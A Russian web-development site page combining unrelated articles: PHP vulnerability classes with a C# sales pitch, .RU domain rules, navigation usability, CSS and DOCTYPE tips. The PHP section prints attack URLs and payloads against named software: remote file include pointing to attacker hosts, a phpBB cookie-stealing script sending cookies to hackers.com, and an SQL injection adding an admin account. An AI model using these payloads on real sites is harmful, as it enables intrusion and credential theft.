Впрочем, если ваш сайт представляет собой нечто не имеющее особой привлекательности для хакеров, тогда вам нечего опасаться… кроме того, что в один пасмурный день, зайдя на свое детище, вы увидите на главной странице совершенно не то, что вы там разместили.

Язык PHP стал очень популярным для написания web приложений, создания динамических страниц, управления содержимым сайтов. Причин тому множество, но в первую очередь, это простота самого языка программирования, простота использования скриптов, поддержка интерпретатора PHP популярными web серверами, открытость кода. Впрочем, последнее может быть достаточно условным и применимо в большей степени к самому интерпретатору.

Но, глядя на все указанные преимущества и популярность, следует подумать об одном: почему та же статистика говорит, что около 80% (если не больше) всех взломов в сети происходит с использованием недочетов в PHP скриптах, и, в первую очередь, скриптах бесплатных.

Конечно же, бесплатность и открытость подразумевает не только популярность у пользователей, но и у исследователей кода, намерения которых могут быть самыми разнообразными. Так что, за популярность всегда приходится платить: либо за сам продукт — программистам высокого уровня профессионализма (а это не всегда спасает, как мы увидим далее), либо постоянными опасениями того, что ваш сайт может стать очередной жертвой взлома.

Все же, прежде чем говорить о путях решения проблем, давайте остановимся на самих проблемах подробнее.

Ошибки программистов или карма?

По большому счету, все ошибки программистов сводятся к тому, что переменные, которые пользователь может определить (или переопределить), проходят недостаточную фильтрацию. Так, к примеру, если в функцию eval() передается строка данных, один компонент которой определяется пользователем, то что мешает этому пользователю сформировать передаваемые данные таким образом, что бы в результате выполнился нужный ему код PHP?

.include

Самой «злой» ошибкой программистов PHP несколько лет считается т.н. include bug. Отсутствие достаточной фильтрации переменных, передаваемых в качестве параметра в функции типа include() могут привести (при благоприятных условиях) к внедрению произвольного кода в программу. Результат – компрометация системы.

Правда, есть несколько ограничивающих эту уязвимость условий:

• для включения удаленного файла – соответствующая конфигурация интерпретатора,
• иногда – включенные register_globals.

Впрочем, все это довольно часто встречается и поныне на массовых хостингах.

Некоторое время назад мне пришлось встретить сайт, видимо самописный, где навигация по страницам представляла собой нечто вида:

index.php?page=contacts.php

Даже не стоит сомневаться, что на этом сайте сработало удаленное включение файла. Динозавры не вымерли!

Эта уязвимость в той или иной форме является хитом среди уязвимостей и выпускаемых хакерами эксплоитов и сейчас: 50 из 69 эксплоитов для web приложений, опубликованных на milw0rm.org в июле 2006 г., использовали именно уязвимость включения файлов.

Свежий пример. Хороший, качественно сделанный портал mambo тем не менее пестрит ошибками программистов на публичных досках сети, публикующих свежие уязвимости. Очередная уязвимость была найдена в файле admin.cropcanvas.php компонента com_cropimage 1.0. В 7-й строке есть незамысловатый код:

require_once $cropimagedir."class.cropinterface.php";

Соответственно, если register_globals включены в ini файле, то хакер может передать переменную cropimagedir в GET или другом запросе, например:

http://[уязвимый_сайт]/[путь_к_порталу]/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=http://[сайт_хакера]

предварительно поместив на [сайте_хакера] файл class.cropinterface.php с нужным ему кодом.

.XSS

Довольно популярная уязвимость, значение которой часто недооценивается – уязвимость «межсайтового скриптинга» (cross site scripting). Популярность ее обусловлена в первую очередь сложностью проведения всех возможных проверок передаваемых данных на предмет внедрения кода, который может быть выполнен в контексте различных броузеров.

Суть уязвимости, как вы уже могли догадаться, заключается в том, что пользователь со злым умыслом может передать данные серверу или другому пользователю (напр., специальным образом сформированный URL), которые могут вызвать искажение информации, отображаемой на странице. Обычно это характерно для любых скриптов, где так или иначе разрешены вставки тегов.

Самый банальный пример, когда данные из URL передаются без очистки «как есть» в html код страницы, что мы можем наблюдать в phpCommunityCalendar 4.0.3. Так, следующий запрос приведет к выполнению java script кода alert(‘XSS’), в результате чего пользователь увидит окошко предупреждения с надписью “XSS”:

http://[уязвимый_сайт]/[путь_к_скрипту]/week.php?LoName=<script>alert('XSS')</script>

Следующий немудреный пример имеет уже чисто практическое значение для хакера. В мае 2006 г. были опубликованы данные о том, что если в известном форуме phpBB версии до 2.0.19 разрешены вставки html кодов, то имелась возможность внедрить злонамеренный java script код, который бы воровал cookie пользователей:

<pre a='>' onmouseover='document.location="http://hackers.com/cookie_stealer.php?c="+document.cookie' b='<pre' > http://www.somesite.com/</pre>

Разумеется, что пусть http://hackers.com/cookie_stealer.php взят совершенно произвольно и должен указывать на реальный скрипт, который будет коллекционировать данные из cookie попавшихся на эту приманку пользователей форума. Соответственно, вариаций внедрения кода в данном случае может быть масса.

.SQL injection

Вторая по популярности уязвимость PHP скриптов – внедрение SQL кода.

Как несложно догадаться, уязвимость характерна для приложений, использующих базы данных SQL. Суть уязвимости заключается в том, что данные из запроса пользователя поступают непосредственно (или после определенной обработки) в SQL запрос. Соответственно, недостаточная фильтрация может стать причиной манипулирования SQL запросами. Какой запрос может иметь место? Все зависит от ограничивающих условий, накладываемых фильтрацией переменных, и фантазии хакера. Возьмем один из свежих примеров. Уязвимость в приложении proManager v.0.73, которое распространяется с открытым кодом. Пример запроса, который создает нового администратора проекта c именем evilhacker и паролем neverhack:

http://www.site.com/note.php?note_id=-1%20INSERT%20INTO%20users%20(id.username.password.name.email.can_add_user)%20values%20(1.evilhacker.neverhack.evilhacker.evilhacker@newmailserver.com.1)/*

Таким образом, основным недостатком приложений на PHP с открытым кодом является доступность (т.е. как-раз сама открытость) кода для пытливых умов хакеров. И, поверьте, не всегда хакеры выкладывают свои наработки на баг-трек ленты и, уж тем более, не всегда сперва предупреждают о найденных ошибках разработчика. Примером тому могут служить взломы сайтов разработчиков известных скриптов форумов phpBB и Invision Power.

Карма или ошибки разработчика?

Итак, с одной стороны можно подумать, что корень всех зол в некомпетентности разработчиков программного кода скриптов. Или, по крайней мере, в их неосведомленности в методах хакерских атак. Конечно, на программистах лежит большая ответственность за фатальные ошибки, но и они не всегда могут предусмотреть один аспект!

Ненадолго вернемся к атакам класса SQL инъекций.

Одной из функций, которая позволяет произвести фильтрацию и экранирование всех опасных для SQL запроса символов, является функция PHP mysql_real_escape_string (хотя, на самом деле, это скорее функция MySQL связанная с PHP). Но не так давно была обнаружена ошибка в базах данных MySQL, которая позволяла обойти фильтрацию этой функции с использованием мультибайтовой кодировки (например UTF-16). И все приложения, использующие эту (как и некоторые другие функции экранирования вредоносных символов) становились незащищенными перед хитроумными взломщиками, которые обладали исходными кодами приложений (будем ли мы гадать, что случилось бы, если бы у взломщиков этих самых открытых кодов не было?).

Заметим однако, что это не первая и, уж тем более, не единственная ошибка разработчиков популярных платформ для хранения баз данных и языков программирования. Но, мы говорим сегодня только о PHP.

В конце прошлого года появились новости об уязвимости, которая позволяет переписать данные массива $GLOBALS. Чем это грозит пользователям приложений с открытым кодом? Дело в том, что в PHP есть несколько глобальных массивов, которые хранят данные, передаваемые пользователем: _GET, _POST, _COOKIE, _FILES. Массив $GLOBALS отличается от других тем, что через него можно получить доступ к любым глобальным переменным. Т.о., используя эту уязвимость, хакер мог переписать глобальные переменные (даже инициализированные в самом скрипте) и получить доступ к исполнению нужного кода в системе, например, используя уже описывавшуюся ситуацию с include bug. Перезапись переменных массива $GLOBALS могла быть осуществлена тем или иным способом (через суперглобальные массивы _GET, _POST или через массив загружаемых файлов - _FILES) в зависимости от версии PHP. Ошибка была настолько опасной, что многие известные разработчики приложений с открытым или закрытым кодом стали выпускать сразу же новые версии своих программ, которые перед выполнением важных функций проводили проверку входящих данных на переменные $GLOBALS, дублирующиеся в других глобальных массивах.

Неизвестно сколько жертв было среди пользователей и производителей после публикации уязвимости перезаписи $GLOBALS, но вот в январе 2006г. была найдена еще одна интересная особенность в основе PHP интерпретатора – zend engine. Более шести месяцев понадобилось разработчикам PHP, чтоб исправить эту уязвимость, суть которой в двух словах заключается в следующем. PHP повсеместно использует таблицу хешей Zend’а, например для хранения указателей на потоки, передаваемые данные. Более того, массив типов данных и глобальная таблица символов представляют ни что иное как хеш таблицу. Функция unset() использует хеш таблицы для очистки значения доступной переменной. Поиск в таблице производится по индексу, при чем доминирующим является цифровой, а не буквенно-цифровой индекс. Т.о., unset удалит в первую очередь то, что будет соответствовать цифровому индексу. Но что будет, если имя переменной обладает эквивалентом цифрового хеша другой переменной? В таком случае, если unset будет передано имя этой второй переменной, то удалится не она, а переменная с именем, равным цифровому хешу.

Не понятно? Тогда возьмем пример. Функция unset() иногда используется разработчиками скриптов для быстрой фиксации некоторых уязвимостей, что и имело место, например, в довольно популярном скрипте форума miniBB. Разработчики сделали заплатку, по их мнению фиксирующую уязвимость «инклуда» через переменную includeHeader, прописав в начале уязвимого кода функцию unset($includeHeader). Все бы было ничего, если бы не найденная уязвимость, касающаяся этой функции. Для того, чтоб заплатка не имела смысла перед мыслью взломщика, достаточно в запросе GET передать переменную с именем, которое соответствует цифровому хешу-индексу переменной includeHeader. В результате, мы можем так же как и раньше использовать функцию include() для внедрения удаленного скрипта с нужным нам кодом:

http://site.com/index.php?includeHeader=http://www.evil.com/?&-269001946=1&-834358190=1

В примере указаны индексы для обоих версий PHP (4 и 5).

Некоторые размышления

Итак, что же делать? Использовать ли скрипты, написанные на PHP для серьезных проектов? Почему бы и нет? По крайней мере, не все ведь программисты выкладывают код для всеобщего обозрения. Есть некоторые варианты шифрования исходного кода, хотя и они не на 100% обеспечивают от его раскрытия. Но, как бы там ни было, «неоткрытый» код проектов ставит определенные трудности для взломщика, которых может он не встретить перед взломом скриптов общего доступа.

В любом случае, мы можем порекомендовать обратить внимание на приведенную нами информацию, и тщательно подходить к вопросу выбора разработчика приложений для своего проекта. Не пренебрегать требованиями безопасности, если вам важен имидж проекта. И, конечно же, полагаться больше на авторов, которые работают не на публику, а на себя, потому что им более важна безопасность клиентов, поскольку от этого зависит их работа, а значит и прибыль.

А как на альтернативный вариант для web разработок предлагаем обратить внимание на технологию .NET. Не говоря о том, что сама платформа является продуктом с закрытым кодом, язык программирования C# включает в себя преимущества языков C++ и Java.

Далее мы предлагаем Вам посмотреть на некоторые преимущества разработки сайта с использованием языка высокого уровня C# (читается си шарп).

Компилирование кода.

Написанный код при первом обращении компилируется и впоследствии выполняется уже скомпилированный код, в отличие от PHP. Это заметно ускоряет работу приложений. Веб-сервер сам выполняет компиляцию. Если вы заменили исходники, сервер сам при первом обращении к странице проведет перекомпиляцию, без вашего внимания.

Код выполняется быстрее, занимает меньше ресурсов, и при этом процесс разработки не усложняется. Скорее наоборот, в случае ошибки вы можете получить полный листинг компилятора, с подробным описанием ошибки.

Основные характеристики языка.

Программист, привыкший к платформе Microsoft, может представить себе C# как промежуточный вариант между C++ и Visual Basic, если рассматривать сложность языковых конструкций и возможности языка.

C# имеет C стиль синтаксиса (для управляющих конструкций, блоков кода, описания сигнатуры методов и др.), много общего с Java (отсутствие множественного наследования и шаблонов, наличие сборщика мусора) и Дельфи (ориентированность на создание компонент), в то же время имеет и свой колорит.

При создании языка в основу дизайна легла легкость использования, доминирующая над мощностью языка и скоростью выполнения. Отсюда и сборщик мусора с управляемыми объектными ссылками, который автоматически освобождает за Вас память. Вы также получаете безопасность работы с типами, а это, по мнению многих, является вторым важнейшим фактором избежания ошибок.

C# объектно-ориентированный язык. Более того, это язык, ориентированный на написание компонент.

Цельность концепции видна, скажем в реализации упаковки/распаковки. Это позволяет рассматривать все типы (даже примитивные, например integer) как объекты, что разрешает многие проблемы дизайна приложений.

При создании языка рассматривалась не только простота написания приложений, но и их поддержки — в связи с чем в язык включили поддержку XML комментариев и контроля версий. Настоящий подарок для программистов.

Помимо сборщика мусора и безопасности работы с типами для избежания ошибок в языке также применяется автоматическая инициализация переменных. Все типы, которые размещаются в стеке (value types, к которым относятся примитивные типы, структуры и прочие наследники класса ValueType) инициализируются нулями. Объекты остальных типов размещаются в куче, доступ к ним осуществляется по объектной ссылке, и ссылки эти инициализируются в значение null (которая говорит, что данная ссылка не имеет ассоциированного объекта в куче).

В C# представлена концепция пространств имен, аналогичная пакетам в Java. Это позволяет иерархически структурировать Вашу систему типов, делая код намного более понятным и позволяя избежать проблем с именованием. Вы можете рассматривать пространства имен как директории, а языковые типы как файлы в этих директориях.

Возможности расширения решения

Включена поддержка мультипроцессорных и кластерных решений. Что позволяет при написании приложения, рассчитывать на то, что систему можно будет без труда расширять.

Обработка ошибок.

 В связи с новыми концепциями (в частности, с компиляцией программных текстов) добавлены новые возможности по обработке ошибок. На стадии разработки можно получить полную информацию об ошибке и листинг нужного куска кода. Для обработки ошибок, которые могут случиться во время выполнения вашего приложения вы можете использовать новую директиву ErrorPage.

И самое главное, много ли вы видели информации об уязвимостях, найденных в продуктах, написанных на C#?

создать сайт 

Домены RU отныне надо подтверждать паспортом

С 1-го апреля 2010 г. координатор доменной зоны RU может начать отключение тех доменов, которые не подтверждены паспортом владельца. Веб-сайты, чьи владельцы не идентифицировали себя, получат статус unverified (с англ. «непроверенный»).

Из реестра домены не будут удаляться автоматически, и веб-сайты продолжат функционирование, однако им присвоят статус бесхозных и регистратор сможет отключить домен по своему желанию. Владельцы доменов потеряют свои права на них, если они не объявятся и не подтвердят их в течение 2-х месяцев.

Новые правила были приняты летом 2009 года. Согласно им владельцы веб-сайтов должны проходить идентификацию, уже с 1-го октября прошлого года регистрацию перестали проводить без подтверждения личности администраторов сайтов документально. Те, кто зарегистрировал домены до 1-го октября, должны были пройти «обряд» до 1-го апреля, сообщает webplanet.ru.
Между прочим, даже в случае документального подтверждения домена сканами паспортов, регистратор имеет право по собственной инициативе запросить данные еще раз. Если возникают проблемы у непроверенных доменов, то на предоставление документов администраторы имеют 10 дней, у неподтвержденных доменов – 3 дня. В случае отказа предоставить документы, делегирование домена может быть приостановлено. Остановка делегирования возможна и по требованию правоохранительных органов.

Кроме этого, для продажи доменов администраторы должны будут снова предоставлять свои данные. Возможно, это улучшит борьбу с киберсквотингом, но однозначно усложнит жизнь владельцам веб-сайтов, ведь отключение доменов станет возможным без получения соответствующего решения суда.

Кстати, координационный центр год назад заявлял о желании почистить глобальную Сеть, правда изначально он был нацелен на зону .РФ.

Слово «навигация» уже давным-давно ассоциируется не с морским флотом и не с авиа-рейсами, а Интернетом. И, думаю, не у меня одного. По-моему, виртуальная навигация уже стала целой наукой. Того и гляди, и впрямь переплюнет по сложности постройку судна или самолёта.

Навигация – это наше удобство путешествия по сайту, скорость «скачка» с одной страницы на другую. И организована она должна быть с поистине аптекарской точностью.

Чего только стоит продумывание гиперссылок. Если мы, гости сайта, запутаемся в переходах – веб-ресурс мгновенно нас потеряет. Согласитесь, в сети большинство из нас работает в повышенном темпе, с самого утра беря «низкий старт». Какому же спортсмену понравится бежать, то и дело огибая досадные препятствия? Сайт не должен представлять из себя лабиринт или тест на уровень IQ.

Порывшись в инете на предмет идеального юзабилити, я нашёл подтверждение этим мыслям. Гуру навигации утверждают: путешествуя по сайту, каждый из нас в любой момент должен знать ответ на три простых вопроса:

1. Где именно я сейчас нахожусь?

2. В каких местах я уже побывал?

3. Каковы сейчас варианты моего дальнейшего перемещения?

Ещё владелец сайта должен предвидеть, что мы можем прибыть по ссылке, ведущей на его подстраницу. На такой случай ему нелишне позаботиться, чтоб на каждой из подстраниц были эти элементы:

- логотип компании;

 - ёмкий фрагмент описания её работы;

 - основные навигационные кнопки.

 Удобно, когда кнопки эти крупные и чёткие, а структурные ссылки отличаются от вспомогательных или перекрёстных. Ещё не нажав на кнопку или картинку, пользователь должен знать, в какой раздел или на какую страницу она приведёт. Особенно важно видеть перед собой перечень уже пройденных ссылок: лично у меня попадание на страницу, где я всё уже изучил, вызывает нарастающую ярость.

 И, конечно, насчёт золотого принципа юзабилити – правила двух кликов. Оно гласит: чтобы оказаться в нужной нам части сайта, мы должны сделать не больше двух переходов. Гость сайта, даже самого увлекательного, ценит своё время на вес золота, и получать информацию должен с минимальным расходом сил.

Удачной всем навигации! Не бродить по лабиринтам и не стоять в очереди за необходимой информацией!

Полезный совет: чтобы легко было конвертировать размеры шрифта из em в px и обратно, установите размер шрифта для body:

body { font-size: 62.5% }

Таким образом, 1em теперь будет равен 10px, что значительно упростит расчеты. Например, теперь font-size: 12px будет равнозначен font-size: 1.2em и т.д. Но не забывайте про наследование при относительных размерах.

источник http://seoservis.my1.ru/index/0-20

Решение

Варианты решений

• Описать тег в CDATA и скрыть эти теги через CSS
• Изменить DTD документа

Описать тег в CDATA и скрыть эти теги через CSS

<span style="display: none"><![CDATA[<noindex>]]></span>
То, что запрещено к индексации
<span style="display: none"><![CDATA[</noindex>]]></span>

Либо можно вынести разделить CSS и HTML:
<span class="inv"><![CDATA[<noindex>]]></span>
То, что запрещено к индексации
<span class="inv"><![CDATA[</noindex>]]></span>

Где CSS-класс «inv»:
.inv {display:none}

Изменить DTD документа

В этом варианте в левом углу всегда выводится угловая скобка и поэтому его не стоит применять.

Doctype это самый первый элемент любой верстки сайта. Многие начинающие верстальщики, из за недостатка информации, недооценивают этот ключевой элемент. Главное назначение данного элемента – предоставление браузеру информацию о типе(html,xhtml) использованной гипертекстовой разметки. После этого, зная какая разметка используется, браузер может валидировать ее. Существует два самых популярных типов гипертекстовой разметки: переходная(Transitional) и строгая(Strict). Так же есть третий тип разметки – фреймовая(Frameset), но она используется реже. Кроме того верстка еще делится на два типа: html, xhtml. XHTML является наследником XML, по этому в ней используются многие правила оформления перенятые от XML.

Вот примеры правильных доктайпов:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">

Ниже приведены основные различия между переходной и строгой разметкой:

Переходная совместимость (Transitional)

Составляющие:

• Правильный XHTML-код. (Также допустимо использовать HTML 4.01.);
• CSS для управления шрифтами, цветом, границами и другими элементами;
• Легкое использование таблиц XHTML для разметки. Следует избегать вложенных таблиц, возлагая эту работу на CSS;
• Дополнительно: можно применять структурные метки к значащим ячейкам таблицы (полезно для CSS и при создании скриптов, поможет в переходе к разметке CSS без таблиц);
• JavaScript/ECMAScript на базе DOM, допустимо разветвление кода.

Преимущества:

• Рациональная совместимость со старыми браузерами. Обратная совместимость с новыми продуктами – такие сайты будут отлично работать в новых браузерах и устройствах;
• Начало пути к окончательному переходу сайта на XML-код и CSS-разметку;
• Повышение доступности сайта, снижение риска потери части посетителей, соответствие нормам и требованиям по доступности;
• Частичное разделение содержания и дизайна (код все же содержит некоторые элементы дизайна);
• Элегантность, четкость и простота кода, снижение размера файлов,
  уменьшение трафика и снижение расходов на производство, обслуживание и поддержку сайта.

Недостатки:

• Структура и внешний вид по-прежнему связаны, что несколько осложняет обслуживание и обновление сайта;
• По этой же причине в будущем поддерживать такие сайты будет все труднее, если учесть распространение основанных на XML систем управления
  контентом (Content-management System – CMS). Вряд ли это станет проблемой для маленьких сайтов, но для крупномасштабных сайтов, содержащих сотни и тысячи динамических страниц, это может обернуться
  большой головной болью.

Строгая совместимость(Strict)

Составляющие:

• Полное отделение структуры от оформления и поведения;
•  
• Для разметки используется CSS. Таблицы применяются лишь по прямому
  назначению – для отображения табличных данных, например адресных
  книг, списков событий, учетных записей, электронных таблиц;
• Создание структуры страниц на XHTML 1.0 Strict или XHTML 1.0 Transitional;
• Акцент на структуре. В коде не содержится уловок по оформлению сайта.
• Структурные метки элементов дизайна;
• Для придания динамики сайту используются скрипты, основанные на
  объектной модели DOM. Разветвление кода только в случае крайней необходимости;
• Атрибут повышения доступности и тестирование.

Преимущества:

• Более высокая степень совместимости с существующими и будущими браузерами и беспроводными устройствами;
• Легкий переход к более продвинутым формам основанного на XML кода;
• Элегантный, простой,и логичный код;
• Более легкое, быстрое и создание и обслуживание. Благодаря
  снижению затрат на создание и поддержку сайта, маленькие бюджеты
  можно уберечь от истощения, а большие использовать для наполнения
  сайта контентом, дизайна, программирования, графики, фотографий,
  редактирования и тестирования юзабилити;
• Проще интегрировать сайт с системами управления контентом на базе
  шаблонов и динамической публикации;
• Благодаря CSS можно создавать дизайн, который невозможен при разметке с помощью таблиц HTML;
• Cайты будут работать в еще не созданных браузерах и устройствах.

Недостатки:

• Поддержка браузерами CSS еще не идеальна. Могут потребоваться некоторые доработки;
• Некоторые приемы, легко выполняемые с помощью таблиц HTML, невозможно осуществить с помощью CSS. Поэтому, возможно, потребуется переосмыслить определенные дизайнерские идеи;
• Динамические модели сайта на базе DOM не будут работать в браузерах
  4.0 и более ранних версиях, а также в программах для чтения информации с экрана, текстовых браузерах и в большинстве беспроводных устройств. Для обеспечения функциональности в этих устройствах и браузерах потребуется использовать теги и возможности CGI.

источник http://zodios.net/htmlcss/saga-o-doctype.html